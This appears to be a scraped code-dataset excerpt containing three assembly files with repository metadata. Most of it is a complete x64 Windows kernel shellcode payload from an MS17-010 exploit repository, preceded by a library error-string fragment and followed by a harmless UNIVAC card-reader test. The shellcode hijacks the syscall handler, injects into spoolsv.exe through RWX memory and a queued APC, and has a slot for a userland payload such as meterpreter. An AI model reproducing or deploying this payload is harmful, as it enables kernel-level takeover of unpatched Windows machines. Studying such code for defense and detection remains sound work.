IF __CLIB_OPT_ERROR & $02
defb __EBADF
defm "EBADF - Invalid stream"
defb 0
ELSE
defb __EBADF
defm "EBADF"
defb 0
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SECTION code_clib
SECTION code_error
PUBLIC error_ebadf_mc
EXTERN errno_mc
defc error_ebadf_mc = errno_mc - 2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
| 14.790323
| 37
| 0.476554
|
fabcc56b5bb768e1c6499833b4643ebd2100cdca
| 17,873
|
asm
|
Assembly
|
payloads/x64/src/exploit/kernel.asm
|
khanhnnvn/MS17-010
|
b3ef9530287014e65491b999a19c2d93dfa00043
|
[
"Apache-2.0"
] | 2
|
2017-06-07T03:17:58.000Z
|
2021-06-09T00:39:11.000Z
|
payloads/x64/src/exploit/kernel.asm
|
methos2016/MS17-010
|
4a823435660f5c07ed7a4c085b9dda816de874df
|
[
"Apache-2.0"
] | null | null | null |
payloads/x64/src/exploit/kernel.asm
|
methos2016/MS17-010
|
4a823435660f5c07ed7a4c085b9dda816de874df
|
[
"Apache-2.0"
] | 6
|
2017-07-22T13:21:38.000Z
|
2021-03-06T20:40:29.000Z
|
;
; Windows x86/x64 Multi-Arch Kernel Ring 0 to Ring 3 via Queued APC Shellcode
;
; Author: Sean Dillon <sean.dillon@risksense.com> (@zerosum0x0)
; Copyright: (c) 2017 RiskSense, Inc.
; Release: 04 May 2017
; License: Apache 2.0
; Build: nasm ./kernel.asm
; Acknowledgements: Stephen Fewer, skape, Equation Group, Shadow Brokers
;
; Description:
; Injects an APC into a specified process. Once in userland, a new thread is
; created to host the main payload. Add whatever userland payload you want to
; the end, prepended with two bytes that equal the little endian size of your
; payload. The userland payload should detect arch if multi-arch is enabled.
; This payload is convenient, smaller or null-free payloads can be crafted
; using this as a base template.
;
; References:
; https://github.com/Risksense-Ops/MS17-010
; https://msdn.microsoft.com/en-us/library/9z1stfyw.aspx
; https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html
; https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/
; http://apexesnsyscalls.blogspot.com/2011/09/using-apcs-to-inject-your-dll.html
;
BITS 64
ORG 0
default rel
section .text
global payload_start
; options which have set values
%define PROCESS_HASH SPOOLSV_EXE_HASH ; the process to queue APC into
%define MAX_PID 0x10000
%define WINDOWS_BUILD 7601 ; offsets appear relatively stable
; options which can be enabled
%define USE_X86 ; x86 payload
%define USE_X64 ; x64 payload
%define STATIC_ETHREAD_DELTA ; use a pre-calculated ThreadListEntry
%define ERROR_CHECKS ; lessen chance of BSOD, but bigger size
%define SYSCALL_OVERWRITE ; to run at process IRQL in syscall
; %define CLEAR_DIRECTION_FLAG ; if cld should be run
; hashes for export directory lookups
LSASS_EXE_HASH equ 0x60795e4a ; hash("lsass.exe")
SPOOLSV_EXE_HASH equ 0xdd1f77bf ; hash("spoolsv.exe")
CREATETHREAD_HASH equ 0x221b4546 ; hash("CreateThread")
PSGETCURRENTPROCESS_HASH equ 0x6211725c ; hash("PsGetCurrentProcess")
PSLOOKUPPROCESSBYPROCESSID_HASH equ 0x4ba25566 ; hash("PsLookupProcessByProcessId")
PSGETPROCESSIMAGEFILENAME_HASH equ 0x2d726fa3 ; hash("PsGetProcessImageFileName")
PSGETTHREADTEB_HASH equ 0x9d364026 ; hash("PsGetThreadTeb")
KEGETCURRENTPROCESS_HASH equ 0x5e91685c ; hash("KeGetCurrentProcess")
KEGETCURRENTTHREAD_HASH equ 0x30a3ba7a ; hash("KeGetCurrentThread")
KEINITIALIZEAPC_HASH equ 0x4b55ceac ; hash("KeInitializeApc")
KEINSERTQUEUEAPC_HASH equ 0x9e093818 ; hash("KeInsertQueueApc")
KESTACKATTACHPROCESS_HASH equ 0xdc1124e5 ; hash("KeStackAttachProcess")
KEUNSTACKDETACHPROCESS_HASH equ 0x7db3b722 ; hash("KeUnstackDetachProcess")
ZWALLOCATEVIRTUALMEMORY_HASH equ 0xee0aca4b ; hash("ZwAllocateVirtualMemory")
EXALLOCATEPOOL_HASH equ 0x9150ac26 ; hash("ExAllocatePool")
OBDEREFERENCEOBJECT_HASH equ 0x854de20d ; hash("ObDereferenceObject")
KERNEL32_DLL_HASH equ 0x92af16da ; hash_U(L"kernel32.dll", len)
; offsets for opaque structures
%if WINDOWS_BUILD == 7601
EPROCESS_THREADLISTHEAD_BLINK_OFFSET equ 0x308
ETHREAD_ALERTABLE_OFFSET equ 0x4c
TEB_ACTIVATIONCONTEXTSTACKPOINTER_OFFSET equ 0x2c8 ; ActivationContextStackPointer : Ptr64 _ACTIVATION_CONTEXT_STACK
ETHREAD_THREADLISTENTRY_OFFSET equ 0x420 ; only used if STATIC_ETHREAD_DELTA defined
%endif
; now the shellcode begins
payload_start:
%ifdef SYSCALL_OVERWRITE
syscall_overwrite:
x64_syscall_overwrite:
mov ecx, 0xc0000082 ; IA32_LSTAR syscall MSR
rdmsr
;movabs rbx, 0xffffffffffd00ff8
db 0x48, 0xbb, 0xf8, 0x0f, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff
mov dword [rbx+0x4], edx ; save old syscall handler
mov dword [rbx], eax
lea rax, [rel x64_syscall_handler] ; load new syscall handler
mov rdx, rax
shr rdx, 0x20
wrmsr
ret
x64_syscall_handler:
swapgs
mov qword [gs:0x10], rsp
mov rsp, qword [gs:0x1a8]
push rax
push rbx
push rcx
push rdx
push rsi
push rdi
push rbp
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
push 0x2b
push qword [gs:0x10]
push r11
push 0x33
push rcx
mov rcx, r10
sub rsp, 0x8
push rbp
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov qword [rbp+0xc0],rbx
mov qword [rbp+0xc8],rdi
mov qword [rbp+0xd0],rsi
;movabs rax, 0xffffffffffd00ff8
db 0x48, 0xa1, 0xf8, 0x0f, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff
mov rdx, rax
shr rdx, 0x20
xor rbx, rbx
dec ebx
and rax, rbx
mov ecx, 0xc0000082
wrmsr
sti
call x64_kernel_start
cli
mov rsp, qword [abs gs:0x1a8]
sub rsp, 0x78
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rbp
pop rdi
pop rsi
pop rdx
pop rcx
pop rbx
pop rax
mov rsp, qword [abs gs:0x10]
swapgs
jmp [0xffffffffffd00ff8]
; SYSCALL_OVERWRITE
%endif
x64_kernel_start:
; Some "globals", which should not be clobbered, these are also ABI non-volatile
; ----------------------------------------------
; r15 = ntoskrnl.exe base address (DOS MZ header)
; r14 = &x64_kernel_start
; r13 = PKAPC_STATE
; rbx = PID/PEPROCESS
; r12 = ThreadListEntry offset, later ETHREAD that is alertable
; rbp = current rsp
%ifdef CLEAR_DIRECTION_FLAG
cld
%endif
; we will restore non-volatile registers
push rsi ; save clobbered registers
push r15 ; r15 = ntoskernl.exe
push r14 ; r14 = &x64_kernel_start
push r13 ; r13 = PKAPC_STATE
push r12 ; r12 = ETHREAD/offsets
push rbx ; rbx = PID/EPROCESS
push rbp
mov rbp, rsp ; we'll use the base pointer
and sp, 0xFFF0 ; align stack to ABI boundary
sub rsp, 0x20 ; reserve shadow stack
lea r14, [rel x64_kernel_start] ; for use in pointers
; this stub loads ntoskrnl.exe into r15
x64_find_nt_idt:
mov r15, qword [gs:0x38] ; get IdtBase of KPCR
mov r15, qword [r15 + 0x4] ; get ISR address
shr r15, 0xc ; strip to page size
shl r15, 0xc
_x64_find_nt_idt_walk_page:
sub r15, 0x1000 ; walk along page size
mov rsi, qword [r15]
cmp si, 0x5a4d ; 'MZ' header
jne _x64_find_nt_idt_walk_page
; dynamically finds the offset to ETHREAD.ThreadListEntry
find_threadlistentry_offset:
%ifdef STATIC_ETHREAD_DELTA
mov r12, ETHREAD_THREADLISTENTRY_OFFSET
%else
mov r11d, PSGETCURRENTPROCESS_HASH
call x64_block_api_direct
mov rsi, rax
add rsi, EPROCESS_THREADLISTHEAD_BLINK_OFFSET ; PEPROCESS->ThreadListHead
mov r11d, KEGETCURRENTTHREAD_HASH
call x64_block_api_direct
mov rcx, rsi ; save ThreadListHead
_find_threadlistentry_offset_compare_threads:
cmp rax, rsi
ja _find_threadlistentry_offset_walk_threads
lea rdx, [rax + 0x500]
cmp rdx, rsi
jb _find_threadlistentry_offset_walk_threads
sub rsi, rax
jmp _find_threadlistentry_offset_calc_thread_exit
_find_threadlistentry_offset_walk_threads:
mov rsi, qword [rsi] ; move up the list entries
cmp rsi, rcx ; make sure we exit this loop at some point
jne _find_threadlistentry_offset_compare_threads
_find_threadlistentry_offset_calc_thread_exit:
mov r12, rsi
%endif
; now we need to find the EPROCESS to inject into
x64_find_process_name:
xor ebx, ebx
_x64_find_process_name_loop_pid:
mov ecx, ebx
add ecx, 0x4
%ifdef MAX_PID
cmp ecx, MAX_PID
jge x64_kernel_exit
%endif
mov rdx, r14 ; PEPROCESS*
mov ebx, ecx ; save current PID
; PsLookupProcessById(dwPID, &x64_kernel_start);
mov r11d, PSLOOKUPPROCESSBYPROCESSID_HASH
call x64_block_api_direct
test eax, eax ; see if STATUS_SUCCESS
jnz _x64_find_process_name_loop_pid
mov rcx, [r14] ; rcx = *PEPROCESS
; PsGetProcessImageFileName(*(&x64_kernel_start));
mov r11d, PSGETPROCESSIMAGEFILENAME_HASH
call x64_block_api_direct
mov rsi, rax
call x64_calc_hash
cmp r9d, PROCESS_HASH
jne _x64_find_process_name_loop_pid
x64_attach_process:
mov rbx, [r14] ; r14 = EPROCESS
lea r13, [r14 + 16]
mov rdx, r13 ; rdx = (PRKAPC_STATE)&x64_kernel_start + 16
mov rcx, rbx ; rcx = PEPROCESS
; KeStackAttachProcess(PEPROCESS, &x64_kernel_start + 16);
mov r11d, KESTACKATTACHPROCESS_HASH
call x64_block_api_direct
; ZwAllocateVirtualMemory
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; AllocationType
lea r9, [r14 + 8] ; r9 = pRegionSize
mov qword [r9], 0x1000 ; *pRegionSize = 0x1000
xor r8, r8 ; ZeroBits = 0
mov rdx, r14 ; rdx = BaseAddress
xor ecx, ecx
mov qword [rdx], rcx ; set *BaseAddress = NULL
not rcx ; rcx = 0xffffffffffffffff
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, 0x1000, 0x1000, 0x40);
mov r11d, ZWALLOCATEVIRTUALMEMORY_HASH
sub rsp, 0x20 ; we have to reserve new shadow stack
call x64_block_api_direct
%ifdef ERROR_CHECKS
test eax, eax
jnz x64_kernel_exit_cleanup
%endif
; rep movs kernel -> userland
x64_memcpy_userland_payload:
mov rdi, [r14]
lea rsi, [rel userland_start]
xor ecx, ecx
add cx, word [rel userland_payload_size] ; size of payload userland
add cx, userland_payload - userland_start ; size of our userland
rep movsb
; Teb loop to find an alertable thread
x64_find_alertable_thread:
mov rsi, rbx ; rsi = EPROCESS
add rsi, EPROCESS_THREADLISTHEAD_BLINK_OFFSET ; rsi = EPROCESS.ThreadListHead.Blink
mov rcx, rsi ; save the head pointer
_x64_find_alertable_thread_loop:
mov rdx, [rcx]
%ifdef ERROR_CHECKS
; todo: don't cmp on first element
; cmp rsi, rcx
; je x64_kernel_exit_cleanup
%endif
sub rdx, r12 ; sub offset
push rcx
push rdx
mov rcx, rdx
sub rsp, 0x20
mov r11d, PSGETTHREADTEB_HASH
call x64_block_api_direct
add rsp, 0x20
pop rdx
pop rcx
test rax, rax ; check if TEB is NULL
je _x64_find_alertable_thread_skip_next
mov rax, qword [rax + TEB_ACTIVATIONCONTEXTSTACKPOINTER_OFFSET]
test rax, rax
je _x64_find_alertable_thread_skip_next
add rdx, ETHREAD_ALERTABLE_OFFSET
mov eax, dword [rdx]
bt eax, 0x5
jb _x64_find_alertable_thread_found
_x64_find_alertable_thread_skip_next:
mov rcx, [rcx]
jmp _x64_find_alertable_thread_loop
_x64_find_alertable_thread_found:
sub rdx, ETHREAD_ALERTABLE_OFFSET
mov r12, rdx
x64_create_apc:
; ExAllocatePool(POOL_TYPE.NonPagedPool, 0x90);
xor edx, edx
add dl, 0x90
xor ecx, ecx
mov r11d, EXALLOCATEPOOL_HASH
call x64_block_api_direct
;mov r12, rax
;mov r11d, KEGETCURRENTTHREAD_HASH
;call x64_block_api_direct
; KeInitializeApc(rcx = apc,
; rdx = pThread,
; r8 = NULL = OriginalApcEnvironment,
; r9 = KernelApcRoutine,
; NULL,
; InjectionShellCode,
; 1 /* UserMode */,
; NULL /* Context */);
mov rcx, rax ; pool APC
lea r9, [rcx + 0x80] ; dummy kernel APC function
mov byte [r9], 0xc3 ; ret
mov rdx, r12 ; pThread;
mov r12, rax ; save APC
xor r8, r8 ; OriginalApcEnvironment = NULL
push r8 ; Context = NULL
push 0x1 ; UserMode
mov rax, [r14]
push rax ; userland shellcode
push r8 ; NULL
sub rsp, 0x20
mov r11d, KEINITIALIZEAPC_HASH
call x64_block_api_direct
; KeInsertQueueApc(pAPC, NULL, NULL, NULL);
xor edx, edx
push rdx
push rdx
pop r8
pop r9
mov rcx, r12
mov r11d, KEINSERTQUEUEAPC_HASH
call x64_block_api_direct
x64_kernel_exit_cleanup:
; KeUnstackDetachProcess(pApcState)
mov rcx, r13
mov r11d, KEUNSTACKDETACHPROCESS_HASH
call x64_block_api_direct
; ObDereferenceObject(PEPROCESS)
mov rcx, rbx
mov r11d, OBDEREFERENCEOBJECT_HASH
call x64_block_api_direct
x64_kernel_exit:
mov rsp, rbp ; fix stack
pop rbp
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rsi ; restore clobbered registers and return
ret
userland_start:
x64_userland_start:
jmp x64_userland_start_thread
; user and kernel mode re-use this code
x64_calc_hash:
xor r9, r9
_x64_calc_hash_loop:
xor eax, eax
lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value
cmp al, 'a'
jl _x64_calc_hash_not_lowercase
sub al, 0x20 ; If so normalise to uppercase
_x64_calc_hash_not_lowercase:
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL to AH (\0)
jne _x64_calc_hash_loop
ret
x64_block_find_dll:
xor edx, edx
mov rdx, [gs:rdx + 96]
mov rdx, [rdx + 24] ; PEB->Ldr
mov rdx, [rdx + 32] ; InMemoryOrder list
_x64_block_find_dll_next_mod:
mov rdx, [rdx]
mov rsi, [rdx + 80] ; unicode string
movzx rcx, word [rdx + 74] ; rcx = len
xor r9d, r9d
_x64_block_find_dll_loop_mod_name:
xor eax, eax
lodsb
cmp al, 'a'
jl _x64_block_find_dll_not_lowercase
sub al, 0x20
_x64_block_find_dll_not_lowercase:
ror r9d, 13
add r9d, eax
loop _x64_block_find_dll_loop_mod_name
cmp r9d, r11d
jnz _x64_block_find_dll_next_mod
mov r15, [rdx + 32]
ret
x64_block_api_direct:
mov rax, r15 ; make copy of module
push r9 ; Save parameters
push r8
push rdx
push rcx
push rsi
mov rdx, rax
mov eax, dword [rdx+60] ; Get PE header e_lfanew
add rax, rdx
mov eax, dword [rax+136] ; Get export tables RVA
%ifdef ERROR_CHECKS
; test rax, rax ; EAT not found
; jz _block_api_not_found
%endif
add rax, rdx
push rax ; save EAT
mov ecx, dword [rax+24] ; NumberOfFunctions
mov r8d, dword [rax+32] ; FunctionNames
add r8, rdx
_x64_block_api_direct_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec rcx ; decrement NumberOfFunctions
mov esi, dword [r8+rcx*4] ; Get rva of next module name
add rsi, rdx ; Add the modules base address
call x64_calc_hash
cmp r9d, r11d ; Compare the hashes
jnz _x64_block_api_direct_get_next_func ; try the next function
_x64_block_api_direct_finish:
pop rax ; restore EAT
mov r8d, dword [rax+36]
add r8, rdx ; ordinate table virtual address
mov cx, [r8+2*rcx] ; desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx] ; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r11 ; pop ret addr
; sub rsp, 0x20 ; shadow space
push r11 ; push ret addr
jmp rax
x64_userland_start_thread:
push rsi
push r15
push rbp
mov rbp, rsp
sub rsp, 0x20
mov r11d, KERNEL32_DLL_HASH
call x64_block_find_dll
xor ecx, ecx
push rcx
push rcx
push rcx ; lpThreadId = NULL
push rcx ; dwCreationFlags = 0
pop r9 ; lpParameter = NULL
lea r8, [rel userland_payload] ; lpStartAddr = &threadstart
pop rdx ; lpThreadAttributes = NULL
sub rsp, 0x20
mov r11d, CREATETHREAD_HASH ; hash("CreateThread")
call x64_block_api_direct ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL);
mov rsp, rbp
pop rbp
pop r15
pop rsi
ret
userland_payload_size:
db 0x01
db 0x00
userland_payload:
; insert userland payload here
; such as meterpreter
; or reflective dll with the metasploit MZ pre-stub
ret
| 29.444811
| 124
| 0.612264
|
e742ed7f638877f796dd03b8694336fe726f13d6
| 1,184
|
asm
|
Assembly
|
U9200/CardFiles/Source/reader_test.asm
|
sboydlns/univacemulators
|
c630b2497bee9cb9a18b4fa05be9157d7161bca3
|
[
"MIT"
] | 2
|
2021-02-09T21:54:54.000Z
|
2021-09-04T03:30:50.000Z
|
U9200/CardFiles/Source/reader_test.asm
|
sboydlns/univacemulators
|
c630b2497bee9cb9a18b4fa05be9157d7161bca3
|
[
"MIT"
] | null | null | null |
U9200/CardFiles/Source/reader_test.asm
|
sboydlns/univacemulators
|
c630b2497bee9cb9a18b4fa05be9157d7161bca3
|
[
"MIT"
] | null | null | null |
***********************************************************
*
* Card reader tester
*
***********************************************************
CRTS START 0
USING *,0
EXTRN READ Reader I/O entry point
EXTRN PRNT
ENTRY FOF
ENTRY RBUF
ENTRY REOF
CARD DS CL80 My record buffer
RBUF DS CL80 IOCS reader buffer
PBUF DS CL132 Printer buffer
STRT EQU *
MVI PBUF,C' ' Clear printer buffer
MVC PBUF+1(131),PBUF
OPEN READ
OPEN PRNT
LOOP EQU *
GET READ,CARD
MVC PBUF(80),CARD
PUT PRNT,PBUF
BC 15,LOOP
*
* End-of-file
*
REOF EQU *
MVC PBUF(80),CARD
PUT PRNT,PBUF
CLOSE READ
CLOSE PRNT
EOF1 EQU *
MSG X'1FFF'
BC 15,EOF1
*
* Form overflow
*
FOF EQU *
BC 15,0(,14)
END STRT
| 22.339623
| 64
| 0.333615
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.